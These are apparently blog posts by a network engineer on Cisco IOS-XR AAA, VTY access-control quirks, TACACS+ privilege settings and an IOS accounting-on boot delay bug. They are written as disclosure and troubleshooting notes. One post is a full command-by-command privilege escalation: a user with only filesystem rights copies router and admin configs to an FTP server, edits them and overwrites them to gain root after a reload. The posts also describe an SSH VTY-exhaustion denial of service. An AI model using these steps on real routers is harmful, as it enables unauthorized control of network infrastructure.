AAA and VTYs in IOS-XR : Bingo

Continuing on the IOS-XR saga, this is the newest bunch of things that don't "work as expected" (© Cisco). Well, as expected by me, not by Cisco.

Everything started while trying to configure a primary and backup aaa login method on an ASR9k, when i realized that...

1) having a backup aaa login method with the same tacacs servers as the ones in the primary aaa login method (which is using the management vrf) doesn't work

Imagine the following aaa configuration:

!
tacacs source-interface MgmtEth0/RSP0/CPU0/0 vrf MGMT
tacacs source-interface Loopback0 vrf default
!
aaa group server tacacs+ TACACS-AAA-GROUP
 server x.x.x.x
 server y.y.y.y
!
aaa group server tacacs+ TACACS-VRF-AAA-GROUP
 server x.x.x.x
 server y.y.y.y
 vrf MGMT
!
aaa authentication login default group TACACS-VRF-AAA-GROUP group TACACS-AAA-GROUP local
!

This is supposed to work in the following way:

As long as at least one mgmt interface is up (i'm using a virtual-ip for the mgmt interfaces), tacacs communication should happen through the out-of-band mgmt interfaces. If all mgmt interfaces are down, then tacacs communication should happen through an inband interface.

Guess what! There seems to be an issue with the above scenario, because in the 2nd case (where all mgmt interfaces are down) tacacs communication doesn't happen at all. Looking at the debugs, it's like the router isn't even trying to use the second (global) tacacs group. This has already been opened as SR (according to tac this should work, so let's hope it's just a bug), so i'm waiting for developers' feedback right now.

In order to overcome the above problem, i thought of using different vty templates, each one with a different access method.

In IOS you can have the following vty configuration and then access vtys 11-15 by either using "telnet x.x.x.x 3001" or "telnet x.x.x.x 2000+y" where y is the tty number displayed by using the command "show line".

!
line vty 11 15
 login authentication BACKUP-AAA
 rotary 1
!

Since the "rotary" command is not supported in IOS-XR, this is what you can do:

!
line default
 login authentication default
!
line template VTY-TEMPLATE
 login authentication BACKUP-AAA
!	
vty-pool default 0 10
vty-pool VTY-POOL 11 20 line-template VTY-TEMPLATE
!

And this is the point you realize that you can't choose a vty, because...

2) specific vtys can be accessed only through a combination of a line template and a specific ACL

First shock: You cannot easily access a specific vty line in IOS-XR. Vtys in IOS-XR work in a very different way in comparison to the IOS ones. According to the BU, when you do a telnet/ssh to the router, the router starts a scanning from the first vty (0) to the last vty (including all custom configured ones). When a free (available) vty is found, the vty ACL is checked in order to verify whether its permit conditions are met. If the vty ACL allows this specific access, then the session is opened.

Second shock: If the vty ACL doesn't allow access, then scanning for free vtys continues until one vty is found that has an ACL that allows this specific access. So, the only to way to access a specific vty is to apply a specific and unique ACL under that vty that allows your i.e. source ip. In order to access another vty, you'll have to use another source ip, and so on. Still wondering why Cisco chose such an implementation.

So i tried the following:

!
line default
 login authentication default
 access-class ingress HOST1-ACL
 transport input telnet ssh
!
line template LINE-TEMPLATE
 login authentication BACKUP-AAA
 access-class ingress HOST2-ACL
 transport input telnet ssh
!
vty-pool default 0 10
vty-pool VTY-POOL 11 20 line-template LINE-TEMPLATE
!
ipv4 access-list HOST1-ACL
 10 permit ipv4 host x.x.x.x any
 20 deny ipv4 any any log
!
ipv4 access-list HOST2-ACL
 10 permit ipv4 host y.y.y.y any
 20 deny ipv4 any any log
!

...and this is what i got when i tried to telnet from HOST2 to the router

HOST2$ telnet router
Trying z.z.z.z...
Connected to router.
Escape character is '^]'.
Connection to router closed by foreign host.

ipv4_acl_mgr[267]: %ACL-IPV4_ACL-6-IPACCESSLOGP : access-list HOST1-ACL (20) deny tcp y.y.y.y(46387) -> z.z.z.z(23), 1 packet

So i didn't manage to telnet into vtys 11-20, because my telnet session was dropped by HOST1-ACL. Is this another bug? Who knows...

And when i thought i had met every possible issue, i also found out that vty ACLs are useless for ssh sessions, because...

3) ssh sessions get established before hitting the vty ACLs

Yeap, that's another shock (3rd in a row). When you do a ssh session to an IOS-XR router, the vty (the one that the ssh session will use) is consumed regardless of your vty ACL. That means that the vty is occupied during the whole time the router is waiting for you to enter your password. It's only after you enter your password that you get disconnected because of the vty ACL. And that's a nice way to dos attack an IOS-XR router.

%SECURITY-SSHD-6-INFO_GENERAL : Incoming SSH session rate limit exceeded
%SECURITY-SSHD-3-ERR_GENERAL : Failed to allocate pty

Note: the same happens with telnet, but since the username is asked after the ACL check, the time while telnet session remains open is limited.

But wait; isn't that supposed to be solved by Management Plane Protection (MPP)? Sure it is, but...

4) MMP configuration doesn't support ACLs

Who would have though of that! MPP configuration expects you to configure hosts and networks in a Juniper kind of way (although Juniper allows you to reuse the "clients" section).

RP/0/RSP0/CPU0:router(config-telnet-peer)#address ipv4 ?
  A.B.C.D         Enter IPv4 address
  A.B.C.D/length  Enter IPv4 address with prefix

RP/0/RSP0/CPU0:router(config-telnet-peer)#address ipv6 ?
  X:X::X         Enter IPv6 address
  X:X::X/length  Enter IPv6 address with prefix

So, if you happen to have already defined ACLs for your NMS/OSS/whatever, which are already being used somewhere else, you can't reuse those ones, but you have to reconfigure all hosts and networks under the MPP section (something that makes mass router config changes even more difficult). You can't even reuse the same hosts/networks under different interfaces!

!
control-plane
 management-plane
  inband
   !
   interface GigabitEthernet0/3/0/0
    allow SSH peer
     address ipv6 2001:db8::69/64
    !
   !
   interface GigabitEthernet0/3/0/1
    allow SSH peer
     address ipv6 2001:db8::69/64
    !
   !

And that's surely a nice way to further "expand" your configuration (not to mention BGP dynamic neighbors that are not supported either, but's that's another story).


That's 4 in a row Cisco. Bingo!!!

Note: Many thanks to Arie for helping me with the 2nd issue (once again).


Question to the public:

Is there a character in IOS-XR that fully resembles "!" as a starting comment indicator, like in IOS?

IOS

router(config-line)#login authentication BACKUP-AAA ! backup
router(config-line)#

IOS-XR

RP/0/RSP0/CPU0:router(config-line)#login authentication BACKUP-AAA ! backup
                                                                   ^
% Invalid input detected at '^' marker.

In IOS-XR, "!" works only when it is the first character in the line.

Admin privileges in IOS, IOS-XR, NX-OS

For all of you that are using tacacs+ for AAA, if you want to assign admin privileges and permissions to your users, this is the configuration that has worked for me regarding a variety of Cisco devices:

IOS

user = username {
         default service = permit
         service = exec {
                 priv-lvl=15
         }
}

IOS-XR

user = username {
        default service = permit
        service = exec {
                optional task="#root-system"
        }
}

NX-OS

user = username {
        default service = permit
        service = exec {
                optional shell:roles="network-admin"
        }
}

Notes:
1) The above tacacs+ configuration is not the full one; it's just the parts that define the "admin" level for specific users.
2) The "optional" keyword in IOS-XR and NX-OS is used in order to make devices that do not understand these attributes simply ignore them.

If you also want to restrict users to specific commands, then you can use something like the following:

user = username {
         default service = deny
         cmd = terminal {
                 permit length.*
                 permit width.*
         }
         cmd = show {
                 permit radius.statistics
                 permit interface.*
                 permit ip.interface.*
         }
         cmd = clear {
                 permit radius.statistics
         }
}

Generally, command authorization is configured by specifying a list of egrep-style regular expressions to match command arguments and an action which is "deny" or "permit".

Note: Command authorization must have been enabled in your router configuration too. Also some commands (i.e. "clear") might need to have their privilege level changed.

The above configurations are from the freeware tacacs+ server, which has been heavily modified in order to suit our needs. Nevertheless, i believe they can apply to other versions too.

How to get full root access in IOS-XR with just a single permission

During the last week i'm experimenting with an ASR9000 and IOS-XR and here is something tricky i found out yesterday.

You may already know that IOS-XR uses a different concept for users' permissions. In IOS you have users and privilege levels, while in IOS-XR you have Users, User Groups, Task Groups and Task IDs. In general, the operational tasks that enable users to control, configure, and monitor the router are represented by Task IDs. A Task ID defines the permission needed to perform a command. Users are associated with sets of Task IDs that define the capabilities of their authorized access to the router. More specifically:

Users belong to User Groups
User Groups include various Task Groups
Task Groups define Read/Write/Execute/Debug Task IDs
Task IDs correspond to specific CLI commands

By following the above relationship in reverse order you end up with the required configuration.

1) In order to find the corresponding Task ID for a cli command, you can execute the "describe" command followed by the CLI command you're interested to.

RP/0/RSP0/CPU0:asr9k#describe show interfaces
The command is defined in show_interface.parser

Node 0/RSP0/CPU0 has file show_interface.parser for boot package /disk0/asr9k-os-mbi-3.9.1.CSCtg50404-1.0.0/mbiasr9k-rp.vm from asr9k-base
Package:
    asr9k-base
        asr9k-base V3.9.1[00]  Base Package for ASR9K
        Vendor : Cisco Systems
        Desc   : Base Package for ASR9K
        Build  : Built on Sun May  2 09:32:03 EET 2010
        Source : By sjc-lds-511 in /auto/srcarchive4/production/3.9.1/asr9k/workspace for c4.2.1-p0
        Card(s): RP, RP-B, HRP, OC3-POS-4, OC12-POS, GE-3, OC12-POS-4, OC48-POS, E3-OC48-POS, E3-OC12-POS-4, E3-OC3-POS-16, E3-OC3-POS-8, E3-OC3-POS-4, E3-OC48-CH, E3-OC12-CH-4, E3-GE-4, E3-OC3-ATM-4, E3-OC12-ATM-4, E5-CEC, E5-CEC-v2, SE-SEC, NP24-4x10GE, NP24-40x1GE, NP40-40x1GE, NP40-4x10GE, NP40-8x10GE, NP40-2_20_COMBO, NP80-8x10GE, NP80-16x10GE, LC, E3-OC12-CH-1, E7-CEC, A9K-SIP-700
        Restart information:
          Default:
            parallel impacted processes restart

Component:
    pfi-im-cmd V[r39x/4]  PFI show commands

File:
    show_interface.parser
        Card(s)              : RP, DRP, SC
        File type            : Default
        Remotely-hosted      : No
        Local view           : /pkg/parser/show_interface.parser
        Local install path   : /disk0/asr9k-base-3.9.1/parser/show_interface.parser
        Central install path : /disk0/asr9k-base-3.9.1/parser/show_interface.parser


User needs ALL of the following taskids:

        interface (READ)

It will take the following actions:
  Spawn the process:
        show_interface -a

So, for the "sh int" command you need to have access to the "interface (READ)" Task ID. Keep in mind that Task IDs grant permission to perform certain tasks; Task IDs do not deny permission to perform tasks.

2) You create a new Task Group and put the above Task Id under it.

taskgroup TEST-TASKGROUP
 task read interfaces

3) You create a new User Group and put the above Task Group under it.

usergroup TEST-USERGROUP
 taskgroup TEST-TASKGROUP

4) You create a new user and put the above User Group under it.

username TESTUSER
 group TEST-USERGROUP

Now, when the above user logs in, he will have access only to specific commands that are associated with this Task ID (plus some others which are enabled by default). Also, he will be able to see the configuration of all interfaces.

Before the Task ID was enabled:

RP/0/RSP0/CPU0:asr9k#sh int ?
% This command is not authorized

After the Task ID was enabled:

RP/0/RSP0/CPU0:asr9k#sh int ?
  ATM              ATM Network Interface(s)
  Bundle-Ether     Aggregated Ethernet interface(s)
  Bundle-POS       Aggregated POS interface(s)
  FastEthernet     FastEthernet/IEEE 802.3 interface(s)
  GigabitEthernet  GigabitEthernet/IEEE 802.3 interface(s)
...

IOS-XR uses at least 2 running configurations on the ASR9000. The first one is called admin running configuration and you have to enter admin EXEC mode in order to view or change it. The other is called SDR running configuration and it is like the one that IOS uses (actually you have one running configuration per Secure Domain Router (SDR), but only one SDR is available on the ASR9000).

Only users with root-system privileges can access the administration modes by logging in to the RSP for the owner SDR (called the designated shelf controller (DSC)). Administration modes are used to view and manage system-wide resources and logs. Users with root-system privileges have access to system-wide features and resources. The root-system user is created during the initial boot and configuration of the router.

Now, let's suppose you are a root user and you want to allow a user to check the contents of a directory or a file. The "filesystem" Task ID is the one that will allow the user to execute the "dir" and "more" commands.

RP/0/RSP0/CPU0:asr9k#describe more nvram:classic-rommon-var
...
User needs ALL of the following taskids:

        filesystem (EXECUTE)

...

The following user is allowed to do only that.

RP/0/RSP0/CPU0:asr9k#sh user
test

RP/0/RSP0/CPU0:asr9k#sh user tasks
Task:           filesystem  :                  EXECUTE

With a little bit of searching on the available filesystems, you'll find out that this particular user can also view both the SDR and admin configurations in their full glory! These files are stored in clear text (ASCII) too, so everyone with access on the execute operation of the filesystem Task ID can also have access to their contents.

RP/0/RSP0/CPU0:asr9k#dir disk0:config/admin

Directory of disk0:/config/admin

6810        -rw-  416         Sat Sep 11 18:32:51 2010  admin_nonlr.bin
6811        -rw-  416         Sat Sep 11 18:32:51 2010  admin.bin
9418222     -rwx  307         Sat Sep 11 17:37:09 2010  admin.cfg
6813        -rwx  307         Sat Sep 11 18:32:50 2010  last_used.cfg

1644150784 bytes total (1175237120 bytes free)

RP/0/RSP0/CPU0:asr9k#more disk0:config/admin/admin.cfg
!! IOS XR Admin Configuration 3.9.1
...

RP/0/RSP0/CPU0:asr9k#dir disk0:config/running/alternate_cfg

Directory of disk0:/config/running/alternate_cfg

3991330     -rwx  11312       Sun Sep 12 01:53:25 2010  router.cfg
3991331     -rwx  7558        Tue Sep  7 22:09:15 2010  last_used.cfg

RP/0/RSP0/CPU0:asr9k#more disk0:config/running/alternate_cfg/router.cfg
!! IOS XR Configuration 3.9.1
!! Last configuration change at Sun Sep 12 00:50:30 2010 by xxx
...

The above is not exactly the running configuration, it's like a "backup" one (or a secondary one) which seems to get synced to the actual (or primary) running configuration in special cases, like when you do a reload or activate a package. You can find the actual SDR configuration (in clear text too) under "disk0:/config/lr/running/nvgen" split in various parts:

RP/0/RSP0/CPU0:asr9k#dir disk0:config/lr/running/nvgen

Directory of disk0:/config/lr/running/nvgen

3992098     -rw-  100         Sun Sep 12 21:47:51 2010  nv_cur.cfg
3992099     -rw-  0           Sun Sep 12 21:20:11 2010  sh_admin.cf2
3992100     -rw-  1358        Sun Sep 12 21:47:50 2010  sh_os.cf2
3992101     -rw-  3220        Sun Sep 12 21:20:11 2010  sh_base.cf2
3858651     -rw-  0           Sun Sep 12 21:20:11 2010  sh_base_placed.cf2
3858657     -rw-  74          Sun Sep 12 21:47:50 2010  sh_p_domain_services.cf2
3992104     -rw-  4           Sun Sep 12 21:47:50 2010  sh_p_cdp_mgr.cf2
3858658     -rw-  0           Sun Sep 12 21:20:11 2010  sh_p_ip_expl_paths_daemon.cf2
3858659     -rw-  0           Sun Sep 12 21:20:11 2010  sh_p_rt_check_mgr.cf2
3858660     -rw-  0           Sun Sep 12 21:20:11 2010  sh_p_ipv4_rib.cf2
3992108     -rw-  28          Sun Sep 12 21:47:51 2010  sh_p_arp_gmp.cf2
...

i.e. to see the current access lists:

RP/0/RSP0/CPU0:asr9k#more disk0:config/lr/running/nvgen/sh_fwd_acl.cf2
ipv4 access-list 9
 10 permit ipv4 10.21.8.0 0.0.0.255 any
....

In case you have some level 7 passwords into the running configuration (something you should avoid doing since you have the "secret" option), then you're probably risking a lot, because these can be easily decrypted. Luckily, admin configuration doesn't allow such passwords.

What is more interesting is that the execute permission of the filesystem Task ID allows the user to also copy/overwrite a file (some configuration files are not allowed to be deleted, while some others are recreated "automatically" while doing a reload).


Here comes the tricky part...

There are some variables in ROM Monitor mode, that you can use in order to change the paths and names of configuration files, bypassing the normal startup procedure which by default loads the primary (binary) configuration.

i.e. permanently change the location of the default admin configuration file:

IOX_ADMIN_CONFIG_FILE=drive:path/file

i.e. permanently change the location of the router configuration file:

IOX_CONFIG_FILE=drive:path/file 

i.e. permanently change the default location where configuration files are saved:

IOX_CONFIG_MEDIUM=drive:path

Using the "set" command while in rommon will display their current values:

rommon B1 > set
...
IOX_ADMIN_CONFIG_FILE=
IOX_CONFIG_FILE=
IOX_CONFIG_MEDIUM=
...

Again, all the above rommon variables are saved in clear text too, so the test user can still find them by simply executing the "more" command from the CLI.

RP/0/RSP0/CPU0:asr9k#more nvram:classic-rommon-var
  PS1 = rommon ! > , IOX_ADMIN_CONFIG_FILE = , BOOT_DEV_SEQ_CONF = disk0:;disk1:, MIRROR_ENABLE = Y, TFTP_VERBOSE = 0, TFTP_RETRY_COUNT = 4, TFTP_TIMEOUT = 6000, TFTP_CHECKSUM = 0, TFTP_MGMT_INTF = 0, TURBOBOOT = , ? = 0, IP_ADDRESS = 10.200.73.34, IP_SUBNET_MASK = 255.255.255.252, DEFAULT_GATEWAY = 10.200.73.33, TFTP_SERVER = 10.21.8.24, ReloadReason = 1, BSI = 0, BOOT_DEV_SEQ_OPER = disk0:, BOOT = disk0:asr9k-os-mbi-3.9.1.CSCtg50404-1.0.0/mbiasr9k-rp.vm,1;, confreg = 0x2102^@

Now let's change IOX_CONFIG_FILE to point to a new configuration file. It doesn't really matter where the file is saved.

rommon B2 > IOX_CONFIG_FILE=disk0:running-config
rommon B3 > sync
rommon B4 > reset

Nothing different until now. The test user can still find and see the running-config as "expected":

RP/0/RSP0/CPU0:asr9k#more nvram:classic-rommon-var
  PS1 = rommon ! > , IOX_ADMIN_CONFIG_FILE = , BOOT_DEV_SEQ_CONF = disk0:;disk1:, MIRROR_ENABLE = Y, TFTP_VERBOSE = 0, TFTP_RETRY_COUNT = 4, TFTP_TIMEOUT = 6000, TFTP_CHECKSUM = 0, TFTP_MGMT_INTF = 0, TURBOBOOT = , IP_ADDRESS = 10.200.73.34, IP_SUBNET_MASK = 255.255.255.252, DEFAULT_GATEWAY = 10.200.73.33, TFTP_SERVER = 10.21.8.24, ReloadReason = 1, ? = 0, IOX_CONFIG_FILE = disk0:running-config, BSI = 0, BOOT_DEV_SEQ_OPER = disk0:, BOOT = disk0:asr9k-os-mbi-3.9.1.CSCtg50404-1.0.0/mbiasr9k-rp.vm,1;, confreg
= 0x2102^@

RP/0/RSP0/CPU0:asr9k#more disk0:running-config
!! IOS XR Configuration 3.9.1
!! Last configuration change at Mon Sep 13 01:58:33 2010 by xxx
...

Test user is still a member of the TESTGROUP User Group, which has limited access.

RP/0/RSP0/CPU0:asr9k#sh user tasks
Task:           filesystem  :                  EXECUTE

Step 1 : Test user copies the running configuration to a ftp server:

RP/0/RSP0/CPU0:asr9k#copy disk0:running-config ftp://10.21.8.24/test-config
Destination filename [test-config]?
Writing ftp://10.21.8.24/test-config
C
11314 bytes copied in      0 sec

Step 2 : Test user changes the contents of the above file in order to make himself member of the root-system User Group and uploads it in the same path as the original configuration, overwriting it.

RP/0/RSP0/CPU0:asr9k#copy ftp://10.21.8.24/test-config disk0:running-config
Destination filename [/disk0:/running-config]?
Copy : Destination exists, overwrite ?[confirm]
Accessing ftp://10.21.8.24/test-config
C
11311 bytes copied in      0 sec

Step 3 : Test user verifies that his changes are actually on the uploaded file:

RP/0/RSP0/CPU0:asr9k#more disk0:running-config
!! IOS XR Configuration 3.9.1
!! Last configuration change at Mon Sep 13 01:58:33 2010 by xxx
...
username test
 group root-system

Step 4 : A little bit later a Root user makes a reload and voila! Test user gets root access!

RP/0/RSP0/CPU0:asr9k#sh user
test

RP/0/RSP0/CPU0:asr9k#sh user tasks
Task:                  aaa  : READ    WRITE    EXECUTE    DEBUG
Task:                  acl  : READ    WRITE    EXECUTE    DEBUG
Task:                admin  : READ    WRITE    EXECUTE    DEBUG
Task:                 ancp  : READ    WRITE    EXECUTE    DEBUG
Task:                  atm  : READ    WRITE    EXECUTE    DEBUG
Task:       basic-services  : READ    WRITE    EXECUTE    DEBUG
Task:                 bcdl  : READ    WRITE    EXECUTE    DEBUG
Task:                  bfd  : READ    WRITE    EXECUTE    DEBUG
Task:                  bgp  : READ    WRITE    EXECUTE    DEBUG

The above happens only when you have set the rommon variable to use a different configuration file.

Exactly the same thing can happen for the admin configuration too. It's even easier there, because you can just upload a new file and overwrite the current one, without having to change the rommon variables. Then you'll get root access to the admin mode, which means you have admin access to the SDR too.

! check our current user credentials
RP/0/RSP0/CPU0:asr9k#sh user task
Task:           filesystem  :                  EXECUTE

! no admin access is allowed
RP/0/RSP0/CPU0:asr9k#admin
% This command is not authorized

! view the current admin config file
RP/0/RSP0/CPU0:asr9k#more disk0:config/admin/admin.cfg
!! IOS XR Admin Configuration 3.9.1
username root
 group root-system
 secret 5 xxx
!
end

! transfer the admin config file to a ftp server
RP/0/RSP0/CPU0:asr9k#copy disk0:config/admin/admin.cfg ftp://10.21.8.24/test-config
Destination filename [test-config]?
Writing ftp://10.21.8.24/test-config
C
384 bytes copied in      0 sec

! edit the admin config file and add a 2nd root user
!! IOS XR Admin Configuration 3.9.1
username root
 group root-system
 secret 5 xxx
!
username test-root
 group root-system
 secret 5 xxx
!
end

! upload the new admin config file and overwrite the old one
RP/0/RSP0/CPU0:asr9k#copy ftp://10.21.8.24/test-config disk0:config/admin/admin.cfg
Destination filename [/disk0:/config/admin/admin.cfg]?
Copy : Destination exists, overwrite ?[confirm]
Accessing ftp://10.21.8.24/test-config
C
465 bytes copied in      0 sec

! view the new admin config file
RP/0/RSP0/CPU0:asr9k#more disk0:config/admin/admin.cfg
!! IOS XR Admin Configuration 3.9.1
username root
 group root-system
 secret 5 xxx
!
username test-root
 group root-system
 secret 5 xxx
!
end

! wait for the admin (or persuade him) to make a reload
...

! test the new root account ;)
RP/0/RSP0/CPU0:asr9k#sh user
test-root
RP/0/RSP0/CPU0:asr9k#sh user task
Task:                  aaa  : READ    WRITE    EXECUTE    DEBUG
Task:                  acl  : READ    WRITE    EXECUTE    DEBUG
Task:                admin  : READ    WRITE    EXECUTE    DEBUG
Task:                 ancp  : READ    WRITE    EXECUTE    DEBUG
Task:                  atm  : READ    WRITE    EXECUTE    DEBUG
Task:       basic-services  : READ    WRITE    EXECUTE    DEBUG
Task:                 bcdl  : READ    WRITE    EXECUTE    DEBUG
...

! admin access is now allowed
RP/0/RSP0/CPU0:asr9k#admin
RP/0/RSP0/CPU0:asr9k(admin)#

What seems strange to me is that the primary configuration in IOS-XR is stored in binary (SysDB) format (you can find it in the same path as above) and the secondary one (which is in ASCII format) should be used only in case of emergency (corruption?). I guess a possible inconsistency between these 2 configurations after the reload, makes the ASCII configuration override the binary one. Keep in mind that while doing the reload, there are no warning messages about configuration inconsistencies.

Admin mode
If the actual admin executes "clear configuration inconsistency" or "cfs check" while in admin mode, the ASCII configuration you just uploaded will be updated by the current running configuration, so the changes will be lost. But, if a reload is executed from admin mode without first giving the above commands, then the test user will get root access after the reload.

SDR mode
If a reload is executed while on SDR, regardless of whether the above two commands are executed too, then there won't be any effect on the admin configurations and the test user will again get root access after the reload. After all, how often do you use the admin EXEC mode?

Imho, filesystem permissions should get re-organized. Critical files or "dynamic" paths where critical files reside should be available under a new Task ID.

Until the above is fixed, you should not allow every user to use the filesystem Task ID, unless there is absolute need to give the above permissions.

If you want to have better control of your users' permissions you should think of using an external aaa server (i.e. tacacs) and apply attributes that restrict them in executing specific commands with specific arguments.

Notes:
1) The availability of configuration modes always depends on the software packages that are installed on your system and on the router platform that you are using.
2) You can find a list of all Task IDs under IOS-XR 4.0 and their required permissions here.
3) I'm sure someone else will know a lot more about the IOS-XR internals (after all, everything written above was found by one week's experimentation). Please feel free to submit any corrections.
4) If you happen to have some extra permissions regarding utilities, then you can probably modify the configuration files online, by using xargs,perl,vim.

Would you mind waiting for 2-3 mins in a console?

Details about bug CSCed45578 :

Console locked for 2 mins after booting with system accounting

Symptom:

When an IOS system is configured with "aaa accounting system", then users may
be prevented from starting an exec session on the console or terminal lines for
as much as three minutes, after the system reloads.

Conditions:

This delay occurs when the RADIUS and/or TACACS+ accounting server(s) are not
reachable at boot time.

Workaround:

Configure the following hidden global command:

router(config)#no aaa accounting system guarantee-first


Imagine this now on a router using many different authentication methods :

aaa authentication login default group tacacs+ 
aaa authentication login CONSOLE-ACCESS local
aaa authentication ppp default group radius
!
aaa accounting exec default start-stop group tacacs+
aaa accounting network default start-stop group radius
aaa accounting system default start-stop group radius
!
line con 0
 login authentication CONSOLE-ACCESS

Terminal clients are authenticated through tacacs and their accounting is sent to tacacs too. These are probably the engineers trying to do their job in the router.

Console clients are authenticated using the local usernames ("enable" could be used too) but their accounting is sent to tacacs. These are probably the high-level engineers looking to do a somewhat more important job in the router.

PPP (i.e. adsl) customers are authenticated through radius and their accounting is sent to radius too.

System accounting (before reload and after reload/power-on) is also sent to radius, so ppp users from this router left in the database can be erased after the forementioned events.


What do you think will happen immediately after a reload, if the radius server is not reachable, but the router has ip connectivity?

1) ppp customers will be unable to connect (radius auth)
2) engineers will be unable to connect (tacacs auth)
3) high-level engineers will be unable to connect (local auth)

If you answered 1 (like i believed until some months ago), then you're 1/3 correct.
NOBODY will be able to connect to this router, regardless of the access method used.
This will last for 2-3 minutes in the best case (retransmit and timeout intervals of the aaa server do not seem to have any effect), but i have seen it lasting for 7-8 minutes in some cases (i guess before bug CSCed45578 was fixed).

Well, tell me honestly; would you mind waiting for 2-3 mins in a console, while trying to troubleshoot an issue? But let's suppose you can wait (some mins are nothing in comparison to eternity). What if there is a crash or an event happening during this small time and you need to further troubleshoot the issue? EEM can help in some circumstances, but it's not a panacea.

Unfortunately you have to live with it! And according to Cisco this behavior is expected.

But, there is a workaround! No need to worry. "no aaa accounting system guarantee-first", which was a hidden command in older releases, will fix the above issue, so anyone not affected by the non-working aaa server can have access to the router as soon as it boots up.

And when you though that finally a solution has been found, you discover that this command is causing another headache. And here is the complete story...


When "aaa accounting system default start-stop group radius" is enabled, router will sent an Accounting-On packet to the radius server sometime when it boots up. It will also try to sent an Accounting-Off, but that is not guaranteed (i.e.: after a crash or lost connection).

When the radius server receives the Accounting-Off packet, it assumes that all users disconnected from the router. For the same reason, when it receives the Accounting-On packet it assumes that the router just booted up, so the users were disconnected some time ago and now there should be nobody connected.

If you have configured:

aaa accounting system default start-stop group radius
aaa accounting system guarantee-first ! enabled by default => not shown

then router guarantees that the first aaa packet sent will be the Accounting-On. So, no login (in whatever form) is allowed, until a response is received from the radius server (or whatever system accounting method you have used), or the 2-3 mins waiting period passes. This way you're sure that the Accounting-On packet will be the first one to reach the radius.

If you have configured:

aaa accounting system default start-stop group radius
no aaa accounting system guarantee-first

then some users might log in before the router sends the Accounting-On packet. As a consequence, there is a possibility that some accounting start packets will be sent before the Accounting-On packet and/or some others might be lost. For most radius server implementations it is expected that all the previous user entries will be cleared from the database, when the Accounting-On packet is received. So, in your database, you'll see the above logged-in users as not connected.

I understand the motivation behind Cisco's implementation, but i think it lacks flexibility. In my case i don't care what will happen to the accounting records produced by the con/vty exec sessions during the bootup time. I prefer to lose them (i might even not create them in the first place), instead of postponing my access to the router.

A solution that comes to my mind right now would be to add this first-packet-guarantee specifically on each authentication method, like below:

aaa authentication login default group tacacs+
aaa authentication login CONSOLE-ACCESS enable 
aaa authentication ppp default group radius guarantee-system-acct-first
aaa authentication ppp AAA-RADIUS group radius guarantee-system-acct-first

or disable this first-packet-guarantee per aaa method :

aaa authentication login default group tacacs+ no-guarantee-system-acct-first
aaa authentication login CONSOLE-ACCESS enable no-guarantee-system-acct-first
aaa authentication ppp default group radius
aaa authentication ppp AAA-RADIUS group radius

or enable/disable it per aaa server group, something like :

aaa group server radius RADIUS-GROUP
 server 1.1.1.1 auth-port 1645 acct-port 1646
 server 2.2.2.2 auth-port 1645 acct-port 1646
 guarantee-system-acct-first

Before an aaa method or server group with the "guarantee-system-acct-first" parameter is invoked, the router should make sure that the "Accounting-On" packet has been sent and a response has been received. All other aaa methods should be invoked without any restrictions.

This way, engineers will be able to access the router without any waiting (through tacacs/local auth), but ppp customers will not be allowed to login, until the radius server has responded to the Accounting-On packet or the waiting time has passed.

Cisco recommends this to be handled through a PER (Product Enhancement Request) without of course being able to guarantee (have they tried using the above command? :-p) its solution.

I, personally, have negative experience from 3 PERs until now and i don't see the reason to make them 4. How about you? Have you ever submitted a PER to Cisco and what was the result? Please spare a min and complete the poll to the right.

Update 9 Mar 2009 : Bug CSCsy20392 has been opened, for everyone interested in following it. It has been opened as enhancement (to change the default behaviour of accounting guarantee-first command) and hopefully a PER will be attached to it.